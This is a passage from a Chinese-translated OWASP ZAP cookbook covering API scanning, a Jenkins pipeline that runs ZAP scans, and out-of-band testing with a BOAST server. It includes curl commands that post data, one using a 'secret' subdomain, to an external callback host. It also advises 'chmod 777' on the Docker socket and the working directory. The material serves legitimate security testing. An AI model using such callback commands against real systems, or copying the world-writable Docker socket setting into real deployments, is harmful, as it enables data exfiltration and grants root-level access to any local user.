选项卡。注意 API 密钥,如图 11**.1所示,以及与 API 使用允许的 IP 地址和其他选项。您可以勾选以启用 API 和 Web UI(127.0.0.1:PORT**/**UI
或/json)。此外,还有一些仅推荐用于测试目的的调试选项,如禁用 API 密钥。
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_11.1_B18829.jpg
图 11.1 – API 选项
-
要开始,请确保从 Marketplace 添加适当的插件。OWASP ZAP 支持 OpenAPI、GraphQL 和 SOAP。
-
要启动扫描,只需从快速启动菜单中使用自动化扫描并扫描端点。唯一的区别是确保 URL 具有适当的 API 范围:
OpenAPI: https://www.example.com/openapi.json
GraphQL: https://www.example.com/graphql
-
结果将显示在同一信息窗口下的警报选项卡中,如图 11**.2所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_11.2_B18829.jpg
图 11.2 – GraphQL 警报结果
工作原理…
您可以使用多种不同的方法与 ZAP API 扫描程序进行交互,以执行各种任务,例如蜘蛛爬行 Web 应用程序以了解其内容、寻找应用程序漏洞或生成报告。通过向由活动 ZAP 实例提供的 ZAP API 端点发出 HTTP 请求,这是使用 ZAP API 的标准过程。根据您设置工具的方式,端点将位于特定的 URL 上。
有几种方法可以使用 ZAP API 扫描程序。它允许您扫描单个网页、整个 Web 应用程序或一组连接的在线应用程序。此外,它还可用于自动执行多种与安全相关的操作,包括计划扫描、生成报告和与其他安全解决方案连接。
如何通过 Docker 使用 ZAP API
使用 Docker 执行和管理 ZAP 应用程序称为通过 Docker 运行 ZAP。
如果您希望在容器化环境中运行 ZAP 或快速安装和操作多台机器上的 ZAP,则这可能会有所帮助。
准备工作
您必须在计算机上安装 Docker,并从 Docker Hub 获取 ZAP Docker 镜像,以便通过 Docker 访问 ZAP API。
然后可以将镜像作为 Docker 容器运行,并在容器运行时通过 ZAP API 与容器进行通信。
如何操作…
当你运行 ZAP Docker 镜像时,ZAP 应用程序将在容器内启动。然后,ZAP 将处理任何发送到运行中容器的请求,使用 ZAP API。你可以使用 ZAP API 提供的各种方法与 ZAP 交互,例如爬取一个 Web 应用程序以了解其内容,寻找应用漏洞或生成报告:
-
除了通过图形用户界面(GUI)运行 API 扫描,你还可以通过命令行使用 Docker 启动扫描。
-
要通过 Docker 命令行使用 API,打开终端会话并运行 Docker 拉取 ZAP 镜像:
docker pull owasp/zap2docker-stable
-
接下来,在下载完镜像后,再次运行 Docker,但这次是为了创建一个运行 ZAP API 的 ZAP 容器,如下所示:
docker run -t owasp/zap2docker-stable zap-api-scan.py -t https://www.example.com/openapi.json -f openapi
-
过一会儿,命令行会展示正在运行的攻击及其结果,是否通过、失败或有其他警告,如 图 11.3 所示。
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_11.3_B18829.jpg
图 11.3 – Juice-Shop 的 Docker API 扫描
你将在最后看到结果(见 图 11.4)。
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_11.4_B18829.jpg
图 11.4 – Docker API 扫描结果
默认情况下,脚本执行以下操作:
-
导入指定的 API 定义
-
使用针对 API 特定扫描配置文件的扫描主动扫描 API
-
通知命令行任何发现的问题
重要提示
如果没有发现漏洞,并不意味着你的 API 是安全的。你可能需要进行手动渗透测试。
它是如何工作的…
该 API 提供了一组方法,可以用来执行各种操作,例如启动和停止扫描、设置扫描目标以及检索扫描结果。
要使用 OWASP ZAP API,你需要向 API 端点发送 HTTP 请求,该端点通常与 ZAP 应用程序托管在同一台机器上。该 API 使用 表现层状态转移(RESTful)设计,这意味着你可以使用标准的 HTTP 方法(如 GET
、POST
、PUT
和 DELETE)来执行不同的操作。
当你使用 OWASP ZAP API 启动扫描时,工具将开始爬取目标 Web 应用程序,并执行各种类型的测试来识别漏洞。这些测试可能包括寻找 SQL 注入(SQLI)漏洞、跨站脚本(XSS)漏洞以及其他可能被攻击者利用的漏洞。
扫描完成后,OWASP ZAP API 将提供一份报告,详细说明所识别的任何漏洞。报告通常会包括漏洞类型、漏洞在应用程序中的位置以及修复漏洞的建议。
还有更多…
除了通过 HTTP 请求使用 OWASP ZAP API 外,还有许多客户端库和语言绑定可供使用,使得在不同编程语言中使用 API 更加方便。这些库提供了一组函数和方法,可以用来发起 API 调用并与 ZAP 工具交互,而不需要手动构造和发送 HTTP 请求。
例如,针对 Python、Java 和 C# 等语言,提供了客户端库,允许您在自己的程序中使用 OWASP ZAP API。使用这些库可以更容易地将 ZAP 工具集成到您的应用程序或流程中,同时通过处理 API 调用和分析响应的复杂性,为您节省时间。
还有许多其他方法可以根据您的具体需求使用 OWASP ZAP API。例如,您可以将 API 用于自动化安全测试,作为 CI/CD 管道的一部分,或将 ZAP 工具集成到自定义的安全工具或平台中。您还可以使用 API 定期执行扫描,或响应特定事件,例如将新代码部署到生产环境中。
另请参阅
在运行 API 脚本时,以下是一些可以与 ZAP API 一起使用的命令选项:
Options: -c config_file config file for INFO, IGNORE or FAIL warnings -u config_url URL config file for INFO, IGNORE or FAIL warning -g gen_file generate default config file(all rules set to WARN) -r report_html file to write the full ZAP HTML report -w report_md file to write the full ZAP Wiki(Markdown) report -x report_xml file to write the full ZAP XML report -a include the alpha passive scan rules as well -d show debug messages -P specify listen port -D delay in seconds to wait for passive scanning -i default rules not in the config file to INFO -l level minimum level to show: PASS, IGNORE, INFO, WARN or FAIL, use with -s to hide example URLs -n context_file context file which will be loaded prior to scanning the target -p progress_file progress file which specifies issues that are being addressed -s short output format - don't show PASSes or example URLs -z zap_options ZAP CLI options (-z "-config aaa=bbb -config ccc=ddd")
更多信息,请访问以下链接:
-
OWASP ZAP 官方文档:ZAP – API 扫描:
www.zaproxy.org/docs/docker/api-scan/
-
OWASP ZAP 官方文档:选项 API 界面:
www.zaproxy.org/docs/desktop/ui/dialogs/options/api/
-
OWASP ZAP 官方文档:使用 ZAP 扫描 API:
www.zaproxy.org/blog/2017-06-19-scanning-apis-with-zap/
-
OWASP ZAP 官方文档:使用 ZAP 探索 API:
www.zaproxy.org/blog/2017-04-03-exploring-apis-with-zap/
-
OWASP ZAP 官方文档:为什么默认需要 API 密钥?:
www.zaproxy.org/faq/why-is-an-api-key-required-by-default/
-
OWASP ZAP 官方文档:如何远程连接到 ZAP ?:
www.zaproxy.org/faq/how-can-i-connect-to-zap-remotely/
-
OWASP ZAP 官方 FAQ 文档:如何使用 ZAP API:
www.zaproxy.org/faq/how-can-you-use-zap-to-scan-apis/
-
GitHub Action 用于运行 OWASP ZAP API 扫描:
github.com/marketplace/actions/owasp-zap-api-scan
利用 ZAP DAST 测试与 Jenkins
Jenkins 是一种开源 CI/CD 技术,帮助自动化软件开发过程。Jenkins 允许开发人员无缝合并代码更改,并自动创建、测试和部署应用程序,使软件开发过程更加高效和可靠。Jenkins 被各种规模的团队广泛使用,以自动化他们的软件交付过程,并且可以轻松定制以满足每个项目的需求。在此背景下,OWASP ZAP 是一种动态应用程序安全(DAST)漏洞检测工具,用于 Web 应用程序。它可以与 Jenkins 管道连接,作为 CI/CD 过程的一部分来自动化安全测试。
准备就绪
本食谱要求在 Ubuntu 22.04 虚拟机上安装 Jenkins 和 Docker。确保 Juice-Shop 已在本地运行,以便进行扫描。
重要提示
如果您在本地系统上运行 Jenkins,必须通过终端命令sudo chmod 777 /var/run/docker.sock
为所有者、普通用户和非用户提供访问权限。除非您为所有者、普通用户和非用户提供访问权限,否则脚本将无法运行。
请记住,这个脚本仅用于扫描已经在生产/沙盒/UAT/SIT环境中的应用程序。
如何操作…
在本食谱中,我们将引导您完成在 Jenkins 管道中安装 OWASP ZAP 并设置自动化扫描的过程,以便在新代码迭代和推送期间运行扫描。此外,我们还将把 JIRA 的票务系统集成到该过程中,完成 DevOps 生命周期:
-
在 Jenkins 运行并安装 Docker 后,打开您选择的浏览器,访问 Jenkins 应用程序:
http://<VM_IP_ADDR>:8080
重要提示
Jenkins 启动默认运行在https://localhost:8080/
。通过编辑安装位置的jenkins.xml
文件,您可以调整启动配置。其他启动配置参数,例如 JVM 选项、HTTPS 配置等,也可以在此文件中修改。
-
使用您在首次设置 Jenkins 时创建的凭据登录。如果您还没有完成这一步,您需要输入
initialAdminPassword
,该密码可以在以下路径中找到:Windows: C:\ProgramData\Jenkins\.jenkins\secrets
Linux: /var/lib/jenkins/secrets/
MacOS: /Users/Shared/Jenkins/Home/secrets/
-
在主页屏幕上,我们将创建一个新项目,命名为
ZAP
,并选择Pipeline
,如图 11.5所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_11.5_B18829.jpg
图 11.5 – 新的 Jenkins 项目
- 在下一个屏幕上,您将看到几个设置或构建触发器,但我们将跳过这些,直接进入管道脚本(见图 11.6)。
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_11.6_B18829.jpg
图 11.6 – 管道脚本
-
我们将输入以下 Groovy 脚本:
pipeline {
agent any
parameters {
choice(name: "ZAP_SCAN", choices: ["zap-baseline.py", "zap-full-scan.py"], description: "Parameter to choose type of ZAP scan")
string(name: "ENTER_URL", defaultValue: "http://192.168.1.1:3000", trim: true, description: "Parameter for entering a URL to be scanned")
}
stages {
stage('Get Write Access'){
steps {
sh "chmod 777 \$(pwd)"
}
}
stage('Setting up OWASP ZAP docker container') {
steps {
echo "Starting container --> Start"
sh "docker run --rm -v \$(pwd):/zap/wrk/:rw --name owasp -dt owasp/zap2docker-live /bin/bash"
}
}
stage('Run Application Scan') {
steps {
sh "docker exec owasp ${params.ZAP_SCAN} -t ${params.ENTER_URL} -I -j --auto"
}
}
stage('Stop and Remove Container') {
steps {
echo "Removing container"
sh '''
docker stop owasp
'''
}
}
}
}
-
点击保存后,您将进入阶段视图屏幕。在这里,您可以查看状态、查看更改、立即构建、配置、删除管道、查看完整阶段视图、重命名管道,并查看管道语法,如图 11.7所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_11.7_B18829.jpg
图 11.7 – 阶段视图
-
要运行我们刚刚输入的脚本,点击带参数构建。
-
这将启动脚本并执行我们输入的步骤。你将看到新的构建在构建历史中运行,以及步骤在阶段视图中运行,如图 11.8所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_11.8_B18829.jpg
图 11.8 – 新构建
- 你还可以点击构建历史中的编号,进入构建查看更多细节,例如控制台输出,它显示管道执行的命令和可能发生的任何错误,如图 11.9所示。错误会非常明显,控制台输出中的红色
X
符号或构建历史中的编号旁边的红色标记,或者在阶段视图中出现红色,表示错误发生的位置。
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_11.9_B18829.jpg
图 11.9 – 控制台输出
- 扫描完成后,你可以点击阶段视图中的阶段,再点击日志来查看结果,如图 11.10所示。
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_11.10_B18829.jpg
图 11.10 – 日志
该视图将显示扫描的详细信息,你可以在这里消化所有发现,并查看这些问题发生在哪个 URL 中(参见图 11.11)。
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_11.11_B18829.jpg
图 11.11 – 阶段日志
成功的构建和扫描需要通过大量试错来调整管道设置,这需要查看管道错误或在脚本中注释掉某些部分。
它是如何工作的…
Jenkins 管道被配置为在构建过程中运行 OWASP ZAP 作为一个步骤。这可以通过使用 Jenkins 插件或直接从 Jenkins 脚本调用 OWASP ZAP 命令行界面(CLI)来完成。当管道执行时,Jenkins 会触发 OWASP ZAP 对正在测试的应用程序进行安全扫描。OWASP ZAP 将尝试发现应用程序中的任何漏洞,如 SQL 注入(SQLI)缺陷或跨站脚本(XSS)漏洞。
OWASP ZAP 然后生成报告,详细列出发现的任何漏洞,并提供修复建议。此报告可以自动发送给开发团队进行审查。如果安全扫描识别到任何关键漏洞,Jenkins 管道可以配置为使构建失败,从而防止脆弱的代码被部署到生产环境。
总的来说,将 OWASP ZAP 集成到 Jenkins 管道中有助于自动化识别和解决 Web 应用程序安全漏洞的过程,使软件开发过程更加高效和安全。
还有更多…
流水线脚本只是一个简单扫描 URL 并查看流水线结果的示例。通过进一步处理脚本,您可以生成报告,并将这些报告从 Docker 容器复制到您选择的目录中。此外,我们编写的这个流水线构建还将创建参数,允许您在基线扫描和完整扫描之间切换,并输入要扫描的 URL,从而让您更快地构建应用程序的流水线。
重要提示
如果由于某种原因,您的构建未进行扫描,请检查您的 Docker 是否已停止容器。如果没有停止,您需要在再次运行构建之前停止它。
另请参阅
有关在运行 Docker 扫描时的更多详细信息,请参见以下内容:
安装、配置和运行 ZAP GUI OAST 服务器
BOAST 服务器是为接收和报告带外应用程序安全测试结果而创建的。一些应用程序安全测试只会导致被检查的应用程序产生带外响应。由于这些特定用例场景的性质,请求不会作为响应传回给攻击者,并且在客户端被隐藏在第三方 NAT 后时也不会被看到。因此,需要另一个组件来正确感知这些响应。该组件需要能够在互联网上自由访问,并且在不受第三方 NAT 限制的情况下通信接收的协议和端口。
在这个教程中,我们将指导您如何安装、配置和测试需要 OOB 的应用程序,使用 OWASP ZAP BOAST 服务器,并介绍如何安装您自己的 BOAST 服务器进行测试。
准备工作
这个教程需要 ZAP 设置为拦截并发送 BOAST 服务器和客户端应用程序之间的请求和响应。需要安装以下工具:
-
GoLang:
go.dev/doc/install
如何操作…
在这个教程中,我们将介绍如何安装、配置和运行您自己的 BOAST 服务来进行带外攻击的不同技术:
- 首先,为了使用 OAST 服务器,您需要从 ZAP Marketplace 下载附加组件(参见图 11**.12)。
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_11.12_B18829.jpg
图 11.12 – ZAP Marketplace
- 安装完成后,转到工具菜单,然后选择选项。
然后,要么转到工具 | **选项… | **OAST
,单击主工具栏中的齿轮图标,然后单击OAST
,要么按下Ctrl + Alt + O,然后单击OAST
。
- 要查看
OAST
选项,请向下滚动工具的选项菜单,直到看到OAST
(参见图 11.13)。
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_11.13_B18829.jpg
图 11.13 – OWASP OAST 选项
-
在常规下的第一个设置中,有一个下拉菜单可选择
BOAST
或Interactsh
,并且旁边有一个复选框用于选择使用 -
从下拉菜单中选择
BOAST
,然后进入OAST
选项屏幕中的BOAST
标签。永久数据库是可选项。
通过勾选使用永久数据库,你可以在 ZAP 的永久数据库中跟踪已注册的带外有效载荷。根据预定的轮询周期,持久化的有效载荷将被放入内存并与其他有效载荷一起查询。目前,只有 BOAST 服务可以提供永久数据库。
请注意,这意味着即使这些警报与第一次分析或扫描没有直接关系,ZAP 会话期间仍然可能会显示警报。
- 输入一个有效的服务器 URI 或使用默认 URI。用于注册和轮询的 URI 应由此地址指向:
-
方案、主机、端口和
/events
端点是有效 URI 的必要组成部分。必须在主机上运行一个有效的 BOAST 实例。 -
选择一个轮询间隔。这是轮询已注册 BOAST 服务器的频率,单位为秒。没有最大允许值,但需要至少 10 秒。默认设置为 60 秒。
-
点击注册,新条目将添加到活动服务器表中,包括有效载荷和 Canary。复制此有效载荷以在你的攻击中使用。
当请求发送到相应的有效载荷地址时,系统会返回一个被称为 Canary 值的随机字符串,该值会返回到目标 Web 应用程序。
-
接下来,为了测试 BOAST 有效载荷是否工作,打开命令行终端并使用 curl 请求给定的 URI(参见图 11.4):
curl ij6azkfsiavavsmrjqpmj3pq54.odiss.eu
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_11.14_B18829.jpg
图 11.14 – 一个 curl 请求
- ZAP 现在将按照你设置的频率轮询该服务器,并报告所有交互(DNS、HTTP 等)。要查看有效载荷 URI,请打开信息窗口中的
OAST
标签,如图 11.5所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_11.15_B18829.jpg
图 11.15 – BOAST
我们还可以通过 curl 发送其他数据,以查看在 OAST 轮询中捕获了什么。
-
这里是一个发送
POST
请求的 curl 请求示例,包含一个简单的头部且没有数据:curl -X POST -H "Content-Type: application/json" ij6azkfsiavavsmrjqpmj3pq54.odiss.eu
-X
标志指定要使用的 HTTP 方法——在本例中为POST
。-H
标志用于设置自定义头部——在本例中,Content-Type
头部设置为application/json
,以表明请求体包含 JSON 数据。你还可以使用--data
或**-d 标志**来包含请求体,例如:
curl -X POST -H "Content-Type: application/json" -d '{"key": "value"}' secret.ij6azkfsiavavsmrjqpmj3pq54.odiss.eu
这发送了一个带有 JSON 编码请求体的POST
请求,其中包含{"key": "value"}
数据,如图 11.6所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_11.16_B18829.jpg
图 11.16 – 一个带有秘密的 curl 请求示例
它是如何工作的…
跨信道攻击发生在攻击者使用与受害者不同的通信路径时。这使得攻击者能够更容易地访问敏感数据或系统,因为它可以帮助他们绕过主通信路径上的任何安全措施。
有几种技术可以进行跨信道利用。例如,攻击者可能会向目标发送钓鱼邮件,诱使其点击一个链接,从而在受害者的计算机上安装恶意软件。病毒随后可能被用来访问受害者的计算机,使得攻击者能够利用它来破坏操作或窃取重要数据。
另一种技术是攻击者使用不同的通信渠道来控制已经植入受害者计算机中的恶意软件。例如,攻击者可能通过其他渠道,如电话或短信,指示病毒执行某个操作,例如删除文件或加密数据勒索。
一般而言,由于跨信道攻击使用了与防御通信路径不同的通信方式,因此它们可能很难被识别和阻止。个人和组织应当意识到这些攻击带来的危险,并采取预防措施来保护自己。这可能包括设置安全密码、安装安全软件并保持更新,以及在打开链接或下载不可信来源的文件时保持谨慎。
还有更多…
这些类型的漏洞极其微妙且对公司来说至关重要,因为恶意行为者可以利用它们。它们主要出现在 REST API 和 Web 应用程序中。
以下是一些跨信道攻击的示例:
-
盲服务器端 XML/SOAP 注入:类似于 SQL 注入,攻击者向服务器发送 XML 或 SOAP 请求,意图操控服务器的行为,可能读取或修改数据、执行任意代码或发起其他攻击,且此攻击为“盲”攻击,因为攻击者无法立即获得攻击是否成功的反馈。
-
盲 XSS(延迟 XSS):一种隐蔽且难以检测的攻击方式,攻击者通过将恶意代码注入到网站中,等待其他人通过访问被攻击的网页来触发攻击,可能会窃取个人信息或控制受害者的浏览器。
-
主机头攻击:操控 HTTP 请求中的主机头,欺骗 Web 服务器运行恶意代码或提供敏感信息,可能允许攻击者控制服务器或暴露敏感信息。
-
带外远程代码执行(OOB RCE):一种攻击方式,攻击者通过在单独的通信渠道上传递代码并接收结果,在目标系统上运行任意代码,可能泄露敏感信息或使攻击者控制系统。
-
带外 SQL 注入(OOB SQLI):一种 SQL 注入攻击,攻击者利用单独的通信渠道发送命令并接收结果,在目标数据库上执行任意 SQL 指令,可能暴露敏感信息或允许攻击者控制数据库。
-
电子邮件头注入:将恶意代码注入电子邮件消息的头部,以操控电子邮件客户端或服务器的行为,可能误导受害者提交敏感信息或下载恶意软件。
-
服务器端请求伪造(SSRF):一种攻击方式,攻击者通过易受攻击的服务器向网络中的其他服务器、资源或服务发送任意请求,可能泄露敏感信息或让攻击者发起更多攻击。
-
XML 外部实体(XXE)注入:一种利用 XML 解析器漏洞访问文件或在目标系统上执行任意代码的攻击,可能暴露敏感信息或允许攻击者控制机器。
-
操作系统代码注入 – OOB:一种攻击方式,攻击者通过将命令注入到易受攻击的应用程序中,在目标系统上执行任意系统指令,可能暴露敏感信息或让攻击者控制系统。
-
XXE – OOB:XXE 攻击的一种版本,其中 XXE 攻击的结果通过不同的通信路径带外发送,而非被滥用的路径,可能让攻击者在不被检测到的情况下获取敏感信息或控制系统。
重要提示
如果安装了 Script Console 和 GraalVM JavaScript 插件,ZAP 引入了一个新的扩展脚本模板,名为 OAST Request Handler.js
。该模板可以用来开发一个脚本,检测到带外请求时执行某个命令。这个动作可以是任何内容,例如运行另一个 ZAP 脚本或发送电子邮件给自己。
另请参见
还有一些其他在线服务允许我们与带外攻击进行交互,例如:
-
免费的 Web GUI Interactsh:
app.interactsh.com/#/
-
对于 ZAP 扩展,请参阅
github.com/zaproxy/zap-extensions